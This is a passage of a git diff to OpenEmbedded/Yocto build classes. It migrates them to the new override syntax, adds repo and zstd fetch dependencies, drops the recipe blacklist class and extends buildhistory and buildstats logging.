+ incompatible_lic = incompatible_license(d, bad_licenses)
+ for pkg in skipped_pkgs:
+ incompatible_lic += skipped_pkgs[pkg]
+ incompatible_lic = sorted(list(set(incompatible_lic)))
+
+ if incompatible_lic:
+ bb.debug(1, "Skipping recipe %s because of incompatible license(s): %s" % (pn, ' '.join(incompatible_lic)))
+ raise bb.parse.SkipRecipe("it has incompatible license(s): %s" % ' '.join(incompatible_lic))
needsrcrev = False
srcuri = d.getVar('SRC_URI')
- for uri in srcuri.split():
- (scheme, _ , path) = bb.fetch.decodeurl(uri)[:3]
+ for uri_string in srcuri.split():
+ uri = bb.fetch.URI(uri_string)
+ # Also check downloadfilename as the URL path might not be useful for sniffing
+ path = uri.params.get("downloadfilename", uri.path)
# HTTP/FTP use the wget fetcher
- if scheme in ("http", "https", "ftp"):
+ if uri.scheme in ("http", "https", "ftp"):
d.appendVarFlag('do_fetch', 'depends', ' wget-native:do_populate_sysroot')
# Svn packages should DEPEND on subversion-native
- if scheme == "svn":
+ if uri.scheme == "svn":
needsrcrev = True
d.appendVarFlag('do_fetch', 'depends', ' subversion-native:do_populate_sysroot')
# Git packages should DEPEND on git-native
- elif scheme in ("git", "gitsm"):
+ elif uri.scheme in ("git", "gitsm"):
needsrcrev = True
d.appendVarFlag('do_fetch', 'depends', ' git-native:do_populate_sysroot')
# Mercurial packages should DEPEND on mercurial-native
- elif scheme == "hg":
+ elif uri.scheme == "hg":
needsrcrev = True
+ d.appendVar("EXTRANATIVEPATH", ' python3-native ')
d.appendVarFlag('do_fetch', 'depends', ' mercurial-native:do_populate_sysroot')
# Perforce packages support SRCREV = "${AUTOREV}"
- elif scheme == "p4":
+ elif uri.scheme == "p4":
needsrcrev = True
# OSC packages should DEPEND on osc-native
- elif scheme == "osc":
+ elif uri.scheme == "osc":
d.appendVarFlag('do_fetch', 'depends', ' osc-native:do_populate_sysroot')
- elif scheme == "npm":
+ elif uri.scheme == "npm":
d.appendVarFlag('do_fetch', 'depends', ' nodejs-native:do_populate_sysroot')
+ elif uri.scheme == "repo":
+ needsrcrev = True
+ d.appendVarFlag('do_fetch', 'depends', ' repo-native:do_populate_sysroot')
+
# *.lz4 should DEPEND on lz4-native for unpacking
if path.endswith('.lz4'):
d.appendVarFlag('do_unpack', 'depends', ' lz4-native:do_populate_sysroot')
+ # *.zst should DEPEND on zstd-native for unpacking
+ elif path.endswith('.zst'):
+ d.appendVarFlag('do_unpack', 'depends', ' zstd-native:do_populate_sysroot')
+
# *.lz should DEPEND on lzip-native for unpacking
elif path.endswith('.lz'):
d.appendVarFlag('do_unpack', 'depends', ' lzip-native:do_populate_sysroot')
@@ -681,7 +739,7 @@ python () {
if os.path.basename(p) == machine and os.path.isdir(p):
paths.append(p)
- if len(paths) != 0:
+ if paths:
for s in srcuri.split():
if not s.startswith("file://"):
continue
@@ -714,7 +772,7 @@ do_cleansstate[nostamp] = "1"
python do_cleanall() {
src_uri = (d.getVar('SRC_URI') or "").split()
- if len(src_uri) == 0:
+ if not src_uri:
return
try:
diff --git a/meta/classes/bash-completion.bbclass b/meta/classes/bash-completion.bbclass
index 80ee9b4874..803b2cae4d 100644
--- a/meta/classes/bash-completion.bbclass
+++ b/meta/classes/bash-completion.bbclass
@@ -1,7 +1,7 @@
-DEPENDS_append_class-target = " bash-completion"
+DEPENDS:append:class-target = " bash-completion"
PACKAGES += "${PN}-bash-completion"
-FILES_${PN}-bash-completion = "${datadir}/bash-completion ${sysconfdir}/bash_completion.d"
+FILES:${PN}-bash-completion = "${datadir}/bash-completion ${sysconfdir}/bash_completion.d"
-RDEPENDS_${PN}-bash-completion = "bash-completion"
+RDEPENDS:${PN}-bash-completion = "bash-completion"
diff --git a/meta/classes/bin_package.bbclass b/meta/classes/bin_package.bbclass
index cbc9b1fa13..c3aca20443 100644
--- a/meta/classes/bin_package.bbclass
+++ b/meta/classes/bin_package.bbclass
@@ -34,6 +34,6 @@ bin_package_do_install () {
| tar --no-same-owner -xpf - -C ${D}
}
-FILES_${PN} = "/"
+FILES:${PN} = "/"
EXPORT_FUNCTIONS do_install
diff --git a/meta/classes/binconfig-disabled.bbclass b/meta/classes/binconfig-disabled.bbclass
index 096b670e12..e8ac41b2d4 100644
--- a/meta/classes/binconfig-disabled.bbclass
+++ b/meta/classes/binconfig-disabled.bbclass
@@ -5,9 +5,9 @@
# The list of scripts which should be disabled.
BINCONFIG ?= ""
-FILES_${PN}-dev += "${bindir}/*-config"
+FILES:${PN}-dev += "${bindir}/*-config"
-do_install_append () {
+do_install:append () {
for x in ${BINCONFIG}; do
# Make the disabled script emit invalid parameters for those configure
# scripts which call it without checking the return code.
diff --git a/meta/classes/binconfig.bbclass b/meta/classes/binconfig.bbclass
index 9112ed4608..6e0c88269a 100644
--- a/meta/classes/binconfig.bbclass
+++ b/meta/classes/binconfig.bbclass
@@ -1,4 +1,4 @@
-FILES_${PN}-dev += "${bindir}/*-config"
+FILES:${PN}-dev += "${bindir}/*-config"
# The namespaces can clash here hence the two step replace
def get_binconfig_mangle(d):
diff --git a/meta/classes/blacklist.bbclass b/meta/classes/blacklist.bbclass
deleted file mode 100644
index dc794228ff..0000000000
--- a/meta/classes/blacklist.bbclass
+++ /dev/null
@@ -1,20 +0,0 @@
-# anonymous support class from originally from angstrom
-#
-# To use the blacklist, a distribution should include this
-# class in the INHERIT_DISTRO
-#
-# No longer use ANGSTROM_BLACKLIST, instead use a table of
-# recipes in PNBLACKLIST
-#
-# Features:
-#
-# * To add a package to the blacklist, set:
-# PNBLACKLIST[pn] = "message"
-#
-
-python () {
- blacklist = d.getVarFlag('PNBLACKLIST', d.getVar('PN'))
-
- if blacklist:
- raise bb.parse.SkipRecipe("Recipe is blacklisted: %s" % (blacklist))
-}
diff --git a/meta/classes/buildhistory.bbclass b/meta/classes/buildhistory.bbclass
index f986f7c794..8db79a4829 100644
--- a/meta/classes/buildhistory.bbclass
+++ b/meta/classes/buildhistory.bbclass
@@ -7,6 +7,8 @@
# Copyright (C) 2007-2011 Koen Kooi <koen@openembedded.org>
#
+inherit image-artifact-names
+
BUILDHISTORY_FEATURES ?= "image package sdk"
BUILDHISTORY_DIR ?= "${TOPDIR}/buildhistory"
BUILDHISTORY_DIR_IMAGE = "${BUILDHISTORY_DIR}/images/${MACHINE_ARCH}/${TCLIBC}/${IMAGE_BASENAME}"
@@ -29,7 +31,7 @@ BUILDHISTORY_DIR_PACKAGE = "${BUILDHISTORY_DIR}/packages/${MULTIMACH_TARGET_SYS}
# of failed builds.
#
# The expected usage is via auto.conf, but passing via the command line also works
-# with: BB_ENV_EXTRAWHITE=BUILDHISTORY_RESET BUILDHISTORY_RESET=1
+# with: BB_ENV_PASSTHROUGH_ADDITIONS=BUILDHISTORY_RESET BUILDHISTORY_RESET=1
BUILDHISTORY_RESET ?= ""
BUILDHISTORY_OLD_DIR = "${BUILDHISTORY_DIR}/${@ "old" if "${BUILDHISTORY_RESET}" else ""}"
@@ -40,15 +42,17 @@ BUILDHISTORY_SDK_FILES ?= "conf/local.conf conf/bblayers.conf conf/auto.conf con
BUILDHISTORY_COMMIT ?= "1"
BUILDHISTORY_COMMIT_AUTHOR ?= "buildhistory <buildhistory@${DISTRO}>"
BUILDHISTORY_PUSH_REPO ?= ""
+BUILDHISTORY_TAG ?= "build"
+BUILDHISTORY_PATH_PREFIX_STRIP ?= ""
-SSTATEPOSTINSTFUNCS_append = " buildhistory_emit_pkghistory"
+SSTATEPOSTINSTFUNCS:append = " buildhistory_emit_pkghistory"
# We want to avoid influencing the signatures of sstate tasks - first the function itself:
sstate_install[vardepsexclude] += "buildhistory_emit_pkghistory"
# then the value added to SSTATEPOSTINSTFUNCS:
SSTATEPOSTINSTFUNCS[vardepvalueexclude] .= "| buildhistory_emit_pkghistory"
# Similarly for our function that gets the output signatures
-SSTATEPOSTUNPACKFUNCS_append = " buildhistory_emit_outputsigs"
+SSTATEPOSTUNPACKFUNCS:append = " buildhistory_emit_outputsigs"
sstate_installpkgdir[vardepsexclude] += "buildhistory_emit_outputsigs"
SSTATEPOSTUNPACKFUNCS[vardepvalueexclude] .= "| buildhistory_emit_outputsigs"
@@ -87,13 +91,19 @@ buildhistory_emit_sysroot() {
python buildhistory_emit_pkghistory() {
if d.getVar('BB_CURRENTTASK') in ['populate_sysroot', 'populate_sysroot_setscene']:
bb.build.exec_func("buildhistory_emit_sysroot", d)
-
- if not d.getVar('BB_CURRENTTASK') in ['packagedata', 'packagedata_setscene']:
return 0
if not "package" in (d.getVar('BUILDHISTORY_FEATURES') or "").split():
return 0
+ if d.getVar('BB_CURRENTTASK') in ['package', 'package_setscene']:
+ # Create files-in-<package-name>.txt files containing a list of files of each recipe's package
+ bb.build.exec_func("buildhistory_list_pkg_files", d)
+ return 0
+
+ if not d.getVar('BB_CURRENTTASK') in ['packagedata', 'packagedata_setscene']:
+ return 0
+
import re
import json
import shlex
@@ -112,6 +122,9 @@ python buildhistory_emit_pkghistory() {
self.packages = ""
self.srcrev = ""
self.layer = ""
+ self.license = ""
+ self.config = ""
+ self.src_uri = ""
class PackageInfo:
@@ -213,6 +226,7 @@ python buildhistory_emit_pkghistory() {
pv = d.getVar('PV')
pr = d.getVar('PR')
layer = bb.utils.get_file_layer(d.getVar('FILE'), d)
+ license = d.getVar('LICENSE')
pkgdata_dir = d.getVar('PKGDATA_DIR')
packages = ""
@@ -253,22 +267,20 @@ python buildhistory_emit_pkghistory() {
rcpinfo.depends = sortlist(oe.utils.squashspaces(d.getVar('DEPENDS') or ""))
rcpinfo.packages = packages
rcpinfo.layer = layer
+ rcpinfo.license = license
+ rcpinfo.config = sortlist(oe.utils.squashspaces(d.getVar('PACKAGECONFIG') or ""))
+ rcpinfo.src_uri = oe.utils.squashspaces(d.getVar('SRC_URI') or "")
write_recipehistory(rcpinfo, d)
- pkgdest = d.getVar('PKGDEST')
+ bb.build.exec_func("read_subpackage_metadata", d)
+
for pkg in packagelist:
- pkgdata = {}
- with open(os.path.join(pkgdata_dir, 'runtime', pkg)) as f:
- for line in f.readlines():
- item = line.rstrip('\n').split(': ', 1)
- key = item[0]
- if key.endswith('_' + pkg):
- key = key[:-len(pkg)-1]
- pkgdata[key] = item[1].encode('latin-1').decode('unicode_escape')
-
- pkge = pkgdata.get('PKGE', '0')
- pkgv = pkgdata['PKGV']
- pkgr = pkgdata['PKGR']
+ localdata = d.createCopy()
+ localdata.setVar('OVERRIDES', d.getVar("OVERRIDES", False) + ":" + pkg)
+
+ pkge = localdata.getVar("PKGE") or '0'
+ pkgv = localdata.getVar("PKGV")
+ pkgr = localdata.getVar("PKGR")
#
# Find out what the last version was
# Make sure the version did not decrease
@@ -280,41 +292,40 @@ python buildhistory_emit_pkghistory() {
last_pkgr = lastversion.pkgr
r = bb.utils.vercmp((pkge, pkgv, pkgr), (last_pkge, last_pkgv, last_pkgr))
if r < 0:
- msg = "Package version for package %s went backwards which would break package feeds from (%s:%s-%s to %s:%s-%s)" % (pkg, last_pkge, last_pkgv, last_pkgr, pkge, pkgv, pkgr)
- package_qa_handle_error("version-going-backwards", msg, d)
+ msg = "Package version for package %s went backwards which would break package feeds (from %s:%s-%s to %s:%s-%s)" % (pkg, last_pkge, last_pkgv, last_pkgr, pkge, pkgv, pkgr)
+ oe.qa.handle_error("version-going-backwards", msg, d)
pkginfo = PackageInfo(pkg)
# Apparently the version can be different on a per-package basis (see Python)
- pkginfo.pe = pkgdata.get('PE', '0')
- pkginfo.pv = pkgdata['PV']
- pkginfo.pr = pkgdata['PR']
- pkginfo.pkg = pkgdata['PKG']
+ pkginfo.pe = localdata.getVar("PE") or '0'
+ pkginfo.pv = localdata.getVar("PV")
+ pkginfo.pr = localdata.getVar("PR")
+ pkginfo.pkg = localdata.getVar("PKG")
pkginfo.pkge = pkge
pkginfo.pkgv = pkgv
pkginfo.pkgr = pkgr
- pkginfo.rprovides = sortpkglist(oe.utils.squashspaces(pkgdata.get('RPROVIDES', "")))
- pkginfo.rdepends = sortpkglist(oe.utils.squashspaces(pkgdata.get('RDEPENDS', "")))
- pkginfo.rrecommends = sortpkglist(oe.utils.squashspaces(pkgdata.get('RRECOMMENDS', "")))
- pkginfo.rsuggests = sortpkglist(oe.utils.squashspaces(pkgdata.get('RSUGGESTS', "")))
- pkginfo.rreplaces = sortpkglist(oe.utils.squashspaces(pkgdata.get('RREPLACES', "")))
- pkginfo.rconflicts = sortpkglist(oe.utils.squashspaces(pkgdata.get('RCONFLICTS', "")))
- pkginfo.files = oe.utils.squashspaces(pkgdata.get('FILES', ""))
+ pkginfo.rprovides = sortpkglist(oe.utils.squashspaces(localdata.getVar("RPROVIDES") or ""))
+ pkginfo.rdepends = sortpkglist(oe.utils.squashspaces(localdata.getVar("RDEPENDS") or ""))
+ pkginfo.rrecommends = sortpkglist(oe.utils.squashspaces(localdata.getVar("RRECOMMENDS") or ""))
+ pkginfo.rsuggests = sortpkglist(oe.utils.squashspaces(localdata.getVar("RSUGGESTS") or ""))
+ pkginfo.replaces = sortpkglist(oe.utils.squashspaces(localdata.getVar("RREPLACES") or ""))
+ pkginfo.rconflicts = sortpkglist(oe.utils.squashspaces(localdata.getVar("RCONFLICTS") or ""))
+ pkginfo.files = oe.utils.squashspaces(localdata.getVar("FILES") or "")
for filevar in pkginfo.filevars:
- pkginfo.filevars[filevar] = pkgdata.get(filevar, "")
+ pkginfo.filevars[filevar] = localdata.getVar(filevar) or ""
# Gather information about packaged files
- val = pkgdata.get('FILES_INFO', '')
+ val = localdata.getVar('FILES_INFO') or ''
dictval = json.loads(val)
filelist = list(dictval.keys())
filelist.sort()
pkginfo.filelist = " ".join([shlex.quote(x) for x in filelist])
- pkginfo.size = int(pkgdata['PKGSIZE'])
+ pkginfo.size = int(localdata.getVar('PKGSIZE') or '0')
write_pkghistory(pkginfo, d)
- # Create files-in-<package-name>.txt files containing a list of files of each recipe's package
- bb.build.exec_func("buildhistory_list_pkg_files", d)
+ oe.qa.exit_if_errors(d)
}
python buildhistory_emit_outputsigs() {
@@ -367,6 +378,9 @@ def write_recipehistory(rcpinfo, d):
f.write(u"DEPENDS = %s\n" % rcpinfo.depends)
f.write(u"PACKAGES = %s\n" % rcpinfo.packages)
f.write(u"LAYER = %s\n" % rcpinfo.layer)
+ f.write(u"LICENSE = %s\n" % rcpinfo.license)
+ f.write(u"CONFIG = %s\n" % rcpinfo.config)
+ f.write(u"SRC_URI = %s\n" % rcpinfo.src_uri)
write_latest_srcrev(d, pkghistdir)
@@ -425,19 +439,24 @@ def buildhistory_list_installed(d, rootfs_type="image"):
from oe.sdk import sdk_list_installed_packages
from oe.utils import format_pkg_list
- process_list = [('file', 'bh_installed_pkgs.txt'),\
- ('deps', 'bh_installed_pkgs_deps.txt')]
+ process_list = [('file', 'bh_installed_pkgs_%s.txt' % os.getpid()),\
+ ('deps', 'bh_installed_pkgs_deps_%s.txt' % os.getpid())]
if rootfs_type == "image":
pkgs = image_list_installed_packages(d)
else:
pkgs = sdk_list_installed_packages(d, rootfs_type == "sdk_target")
+ if rootfs_type == "sdk_host":
+ pkgdata_dir = d.getVar('PKGDATA_DIR_SDK')
+ else:
+ pkgdata_dir = d.getVar('PKGDATA_DIR')
+
for output_type, output_file in process_list:
output_file_full = os.path.join(d.getVar('WORKDIR'), output_file)
with open(output_file_full, 'w') as output:
- output.write(format_pkg_list(pkgs, output_type))
+ output.write(format_pkg_list(pkgs, output_type, pkgdata_dir))
python buildhistory_list_installed_image() {
buildhistory_list_installed(d)
@@ -456,9 +475,10 @@ buildhistory_get_installed() {
# Get list of installed packages
pkgcache="$1/installed-packages.tmp"
- cat ${WORKDIR}/bh_installed_pkgs.txt | sort > $pkgcache && rm ${WORKDIR}/bh_installed_pkgs.txt
+ cat ${WORKDIR}/bh_installed_pkgs_${PID}.txt | sort > $pkgcache && rm ${WORKDIR}/bh_installed_pkgs_${PID}.txt
cat $pkgcache | awk '{ print $1 }' > $1/installed-package-names.txt
+
if [ -s $pkgcache ] ; then
cat $pkgcache | awk '{ print $2 }' | xargs -n1 basename > $1/installed-packages.txt
else
@@ -467,8 +487,8 @@ buildhistory_get_installed() {
# Produce dependency graph
# First, quote each name to handle characters that cause issues for dot
- sed 's:\([^| ]*\):"\1":g' ${WORKDIR}/bh_installed_pkgs_deps.txt > $1/depends.tmp &&
- rm ${WORKDIR}/bh_installed_pkgs_deps.txt
+ sed 's:\([^| ]*\):"\1":g' ${WORKDIR}/bh_installed_pkgs_deps_${PID}.txt > $1/depends.tmp &&
+ rm ${WORKDIR}/bh_installed_pkgs_deps_${PID}.txt
# Remove lines with rpmlib(...) and config(...) dependencies, change the
# delimiter from pipe to "->", set the style for recommend lines and
# turn versioned dependencies into edge labels.
@@ -477,6 +497,8 @@ buildhistory_get_installed() {
-e 's:|: -> :' \
-e 's:"\[REC\]":[style=dotted]:' \
-e 's:"\([<>=]\+\)" "\([^"]*\)":[label="\1 \2"]:' \
+ -e 's:"\([*]\+\)" "\([^"]*\)":[label="\2"]:' \
+ -e 's:"\[RPROVIDES\]":[style=dashed]:' \
$1/depends.tmp
# Add header, sorted and de-duped contents and footer and then delete the temp file
printf "digraph depends {\n node [shape=plaintext]\n" > $1/depends.dot
@@ -484,11 +506,22 @@ buildhistory_get_installed() {
echo "}" >> $1/depends.dot
rm $1/depends.tmp
+ # Set correct pkgdatadir
+ pkgdatadir=${PKGDATA_DIR}
+ if [ "$2" == "sdk" ] && [ "$3" == "host" ]; then
+ pkgdatadir="${PKGDATA_DIR_SDK}"
+ fi
+
# Produce installed package sizes list
- oe-pkgdata-util -p ${PKGDATA_DIR} read-value "PKGSIZE" -n -f $pkgcache > $1/installed-package-sizes.tmp
+ oe-pkgdata-util -p $pkgdatadir read-value "PKGSIZE" -n -f $pkgcache > $1/installed-package-sizes.tmp
cat $1/installed-package-sizes.tmp | awk '{print $2 "\tKiB\t" $1}' | sort -n -r > $1/installed-package-sizes.txt
rm $1/installed-package-sizes.tmp
+ # Produce package info: runtime_name, buildtime_name, recipe, version, size
+ oe-pkgdata-util -p $pkgdatadir read-value "PACKAGE,PN,PV,PKGSIZE" -n -f $pkgcache > $1/installed-package-info.tmp
+ cat $1/installed-package-info.tmp | sort -n -r -k 5 > $1/installed-package-info.txt
+ rm $1/installed-package-info.tmp
+
# We're now done with the cache, delete it
rm $pkgcache
@@ -525,7 +558,7 @@ buildhistory_get_sdk_installed() {
return
fi
- buildhistory_get_installed ${BUILDHISTORY_DIR_SDK}/$1 sdk
+ buildhistory_get_installed ${BUILDHISTORY_DIR_SDK}/$1 sdk $1
}
buildhistory_get_sdk_installed_host() {
@@ -666,16 +699,19 @@ IMAGE_POSTPROCESS_COMMAND[vardepvalueexclude] .= "| buildhistory_get_imageinfo ;
IMAGE_POSTPROCESS_COMMAND[vardepsexclude] += "buildhistory_get_imageinfo"
# We want these to be the last run so that we get called after complementary package installation
-POPULATE_SDK_POST_TARGET_COMMAND_append = " buildhistory_list_installed_sdk_target;"
-POPULATE_SDK_POST_TARGET_COMMAND_append = " buildhistory_get_sdk_installed_target;"
+POPULATE_SDK_POST_TARGET_COMMAND:append = " buildhistory_list_installed_sdk_target;"
+POPULATE_SDK_POST_TARGET_COMMAND:append = " buildhistory_get_sdk_installed_target;"
POPULATE_SDK_POST_TARGET_COMMAND[vardepvalueexclude] .= "| buildhistory_list_installed_sdk_target;| buildhistory_get_sdk_installed_target;"
+POPULATE_SDK_POST_TARGET_COMMAND[vardepsexclude] += "buildhistory_list_installed_sdk_target buildhistory_get_sdk_installed_target"
-POPULATE_SDK_POST_HOST_COMMAND_append = " buildhistory_list_installed_sdk_host;"
-POPULATE_SDK_POST_HOST_COMMAND_append = " buildhistory_get_sdk_installed_host;"
+POPULATE_SDK_POST_HOST_COMMAND:append = " buildhistory_list_installed_sdk_host;"
+POPULATE_SDK_POST_HOST_COMMAND:append = " buildhistory_get_sdk_installed_host;"
POPULATE_SDK_POST_HOST_COMMAND[vardepvalueexclude] .= "| buildhistory_list_installed_sdk_host;| buildhistory_get_sdk_installed_host;"
+POPULATE_SDK_POST_HOST_COMMAND[vardepsexclude] += "buildhistory_list_installed_sdk_host buildhistory_get_sdk_installed_host"
-SDK_POSTPROCESS_COMMAND_append = " buildhistory_get_sdkinfo ; buildhistory_get_extra_sdkinfo; "
+SDK_POSTPROCESS_COMMAND:append = " buildhistory_get_sdkinfo ; buildhistory_get_extra_sdkinfo; "
SDK_POSTPROCESS_COMMAND[vardepvalueexclude] .= "| buildhistory_get_sdkinfo ; buildhistory_get_extra_sdkinfo; "
+SDK_POSTPROCESS_COMMAND[vardepsexclude] += "buildhistory_get_sdkinfo buildhistory_get_extra_sdkinfo"
python buildhistory_write_sigs() {
if not "task" in (d.getVar('BUILDHISTORY_FEATURES') or "").split():
@@ -685,7 +721,7 @@ python buildhistory_write_sigs() {
if hasattr(bb.parse.siggen, 'dump_siglist'):
taskoutdir = os.path.join(d.getVar('BUILDHISTORY_DIR'), 'task')
bb.utils.mkdirhier(taskoutdir)
- bb.parse.siggen.dump_siglist(os.path.join(taskoutdir, 'tasksigs.txt'))
+ bb.parse.siggen.dump_siglist(os.path.join(taskoutdir, 'tasksigs.txt'), d.getVar("BUILDHISTORY_PATH_PREFIX_STRIP"))
}
def buildhistory_get_build_id(d):
@@ -753,11 +789,11 @@ def buildhistory_get_imagevars(d):
def buildhistory_get_sdkvars(d):
if d.getVar('BB_WORKERCONTEXT') != '1':
return ""
- sdkvars = "DISTRO DISTRO_VERSION SDK_NAME SDK_VERSION SDKMACHINE SDKIMAGE_FEATURES BAD_RECOMMENDATIONS NO_RECOMMENDATIONS PACKAGE_EXCLUDE"
+ sdkvars = "DISTRO DISTRO_VERSION SDK_NAME SDK_VERSION SDKMACHINE SDKIMAGE_FEATURES TOOLCHAIN_HOST_TASK TOOLCHAIN_TARGET_TASK BAD_RECOMMENDATIONS NO_RECOMMENDATIONS PACKAGE_EXCLUDE"
if d.getVar('BB_CURRENTTASK') == 'populate_sdk_ext':
# Extensible SDK uses some additional variables
- sdkvars += " SDK_LOCAL_CONF_WHITELIST SDK_LOCAL_CONF_BLACKLIST SDK_INHERIT_BLACKLIST SDK_UPDATE_URL SDK_EXT_TYPE SDK_RECRDEP_TASKS SDK_INCLUDE_PKGDATA SDK_INCLUDE_TOOLCHAIN"
- listvars = "SDKIMAGE_FEATURES BAD_RECOMMENDATIONS PACKAGE_EXCLUDE SDK_LOCAL_CONF_WHITELIST SDK_LOCAL_CONF_BLACKLIST SDK_INHERIT_BLACKLIST"
+ sdkvars += " ESDK_LOCALCONF_ALLOW ESDK_LOCALCONF_REMOVE ESDK_CLASS_INHERIT_DISABLE SDK_UPDATE_URL SDK_EXT_TYPE SDK_RECRDEP_TASKS SDK_INCLUDE_PKGDATA SDK_INCLUDE_TOOLCHAIN"
+ listvars = "SDKIMAGE_FEATURES BAD_RECOMMENDATIONS PACKAGE_EXCLUDE ESDK_LOCALCONF_ALLOW ESDK_LOCALCONF_REMOVE ESDK_CLASS_INHERIT_DISABLE"
return outputvars(sdkvars, listvars, d)
@@ -824,9 +860,9 @@ END
if [ ! -e .git ] ; then
git init -q
else
- git tag -f build-minus-3 build-minus-2 > /dev/null 2>&1 || true
- git tag -f build-minus-2 build-minus-1 > /dev/null 2>&1 || true
- git tag -f build-minus-1 > /dev/null 2>&1 || true
+ git tag -f ${BUILDHISTORY_TAG}-minus-3 ${BUILDHISTORY_TAG}-minus-2 > /dev/null 2>&1 || true
+ git tag -f ${BUILDHISTORY_TAG}-minus-2 ${BUILDHISTORY_TAG}-minus-1 > /dev/null 2>&1 || true
+ git tag -f ${BUILDHISTORY_TAG}-minus-1 > /dev/null 2>&1 || true
fi
check_git_config
@@ -850,7 +886,7 @@ END
}
python buildhistory_eventhandler() {
- if e.data.getVar('BUILDHISTORY_FEATURES').strip():
+ if (e.data.getVar('BUILDHISTORY_FEATURES') or "").strip():
reset = e.data.getVar("BUILDHISTORY_RESET")
olddir = e.data.getVar("BUILDHISTORY_OLD_DIR")
if isinstance(e, bb.event.BuildStarted):
@@ -860,10 +896,11 @@ python buildhistory_eventhandler() {
if os.path.isdir(olddir):
shutil.rmtree(olddir)
rootdir = e.data.getVar("BUILDHISTORY_DIR")
+ bb.utils.mkdirhier(rootdir)
entries = [ x for x in os.listdir(rootdir) if not x.startswith('.') ]
bb.utils.mkdirhier(olddir)
for entry in entries:
- os.rename(os.path.join(rootdir, entry),
+ bb.utils.rename(os.path.join(rootdir, entry),
os.path.join(olddir, entry))
elif isinstance(e, bb.event.BuildCompleted):
if reset:
@@ -902,22 +939,12 @@ def _get_srcrev_values(d):
if urldata[u].method.supports_srcrev():
scms.append(u)
- autoinc_templ = 'AUTOINC+'
dict_srcrevs = {}
dict_tag_srcrevs = {}
for scm in scms:
ud = urldata[scm]
for name in ud.names:
- try:
- rev = ud.method.sortable_revision(ud, d, name)
- except TypeError:
- # support old bitbake versions
- rev = ud.method.sortable_revision(scm, ud, d, name)
- # Clean this up when we next bump bitbake version
- if type(rev) != str:
- autoinc, rev = rev
- elif rev.startswith(autoinc_templ):
- rev = rev[len(autoinc_templ):]
+ autoinc, rev = ud.method.sortable_revision(ud, d, name)
dict_srcrevs[name] = rev
if 'tag' in ud.parm:
tag = ud.parm['tag'];
@@ -948,23 +975,19 @@ def write_latest_srcrev(d, pkghistdir):
value = value.replace('"', '').strip()
old_tag_srcrevs[key] = value
with open(srcrevfile, 'w') as f:
- orig_srcrev = d.getVar('SRCREV', False) or 'INVALID'
- if orig_srcrev != 'INVALID':
- f.write('# SRCREV = "%s"\n' % orig_srcrev)
- if len(srcrevs) > 1:
- for name, srcrev in sorted(srcrevs.items()):
- orig_srcrev = d.getVar('SRCREV_%s' % name, False)
- if orig_srcrev:
- f.write('# SRCREV_%s = "%s"\n' % (name, orig_srcrev))
- f.write('SRCREV_%s = "%s"\n' % (name, srcrev))
- else:
- f.write('SRCREV = "%s"\n' % next(iter(srcrevs.values())))
- if len(tag_srcrevs) > 0:
- for name, srcrev in sorted(tag_srcrevs.items()):
- f.write('# tag_%s = "%s"\n' % (name, srcrev))
- if name in old_tag_srcrevs and old_tag_srcrevs[name] != srcrev:
- pkg = d.getVar('PN')
- bb.warn("Revision for tag %s in package %s was changed since last build (from %s to %s)" % (name, pkg, old_tag_srcrevs[name], srcrev))
+ for name, srcrev in sorted(srcrevs.items()):
+ suffix = "_" + name
+ if name == "default":
+ suffix = ""
+ orig_srcrev = d.getVar('SRCREV%s' % suffix, False)
+ if orig_srcrev:
+ f.write('# SRCREV%s = "%s"\n' % (suffix, orig_srcrev))
+ f.write('SRCREV%s = "%s"\n' % (suffix, srcrev))
+ for name, srcrev in sorted(tag_srcrevs.items()):
+ f.write('# tag_%s = "%s"\n' % (name, srcrev))
+ if name in old_tag_srcrevs and old_tag_srcrevs[name] != srcrev:
+ pkg = d.getVar('PN')
+ bb.warn("Revision for tag %s in package %s was changed since last build (from %s to %s)" % (name, pkg, old_tag_srcrevs[name], srcrev))
else:
if os.path.exists(srcrevfile):
diff --git a/meta/classes/buildstats.bbclass b/meta/classes/buildstats.bbclass
index 960653c704..0de605200a 100644
--- a/meta/classes/buildstats.bbclass
+++ b/meta/classes/buildstats.bbclass
@@ -80,8 +80,6 @@ def get_buildtimedata(var, d):
return timediff, cpuperc
def write_task_data(status, logfile, e, d):
- bn = d.getVar('BUILDNAME')
- bsdir = os.path.join(d.getVar('BUILDSTATS_BASE'), bn)
with open(os.path.join(logfile), "a") as f:
elapsedtime = get_timedata("__timedata_task", d, e.time)
if elapsedtime:
@@ -100,20 +98,96 @@ def write_task_data(status, logfile, e, d):
f.write("rusage %s: %s\n" % (i, getattr(resources, i)))
for i in rusages:
f.write("Child rusage %s: %s\n" % (i, getattr(childres, i)))
- if status is "passed":
+ if status == "passed":
f.write("Status: PASSED \n")
else:
f.write("Status: FAILED \n")
f.write("Ended: %0.2f \n" % e.time)
+def write_host_data(logfile, e, d, type):
+ import subprocess, os, datetime
+ # minimum time allowed for each command to run, in seconds
+ time_threshold = 0.5
+ limit = 10
+ # the total number of commands
+ num_cmds = 0
+ msg = ""
+ if type == "interval":
+ # interval at which data will be logged
+ interval = d.getVar("BB_HEARTBEAT_EVENT", False)
+ if interval is None:
+ bb.warn("buildstats: Collecting host data at intervals failed. Set BB_HEARTBEAT_EVENT=\"<interval>\" in conf/local.conf for the interval at which host data will be logged.")
+ d.setVar("BB_LOG_HOST_STAT_ON_INTERVAL", "0")
+ return
+ interval = int(interval)
+ cmds = d.getVar('BB_LOG_HOST_STAT_CMDS_INTERVAL')
+ msg = "Host Stats: Collecting data at %d second intervals.\n" % interval
+ if cmds is None:
+ d.setVar("BB_LOG_HOST_STAT_ON_INTERVAL", "0")
+ bb.warn("buildstats: Collecting host data at intervals failed. Set BB_LOG_HOST_STAT_CMDS_INTERVAL=\"command1 ; command2 ; ... \" in conf/local.conf.")
+ return
+ if type == "failure":
+ cmds = d.getVar('BB_LOG_HOST_STAT_CMDS_FAILURE')
+ msg = "Host Stats: Collecting data on failure.\n"
+ msg += "Failed at task: " + e.task + "\n"
+ if cmds is None:
+ d.setVar("BB_LOG_HOST_STAT_ON_FAILURE", "0")
+ bb.warn("buildstats: Collecting host data on failure failed. Set BB_LOG_HOST_STAT_CMDS_FAILURE=\"command1 ; command2 ; ... \" in conf/local.conf.")
+ return
+ c_san = []
+ for cmd in cmds.split(";"):
+ if len(cmd) == 0:
+ continue
+ num_cmds += 1
+ c_san.append(cmd)
+ if num_cmds == 0:
+ if type == "interval":
+ d.setVar("BB_LOG_HOST_STAT_ON_INTERVAL", "0")
+ if type == "failure":
+ d.setVar("BB_LOG_HOST_STAT_ON_FAILURE", "0")
+ return
+
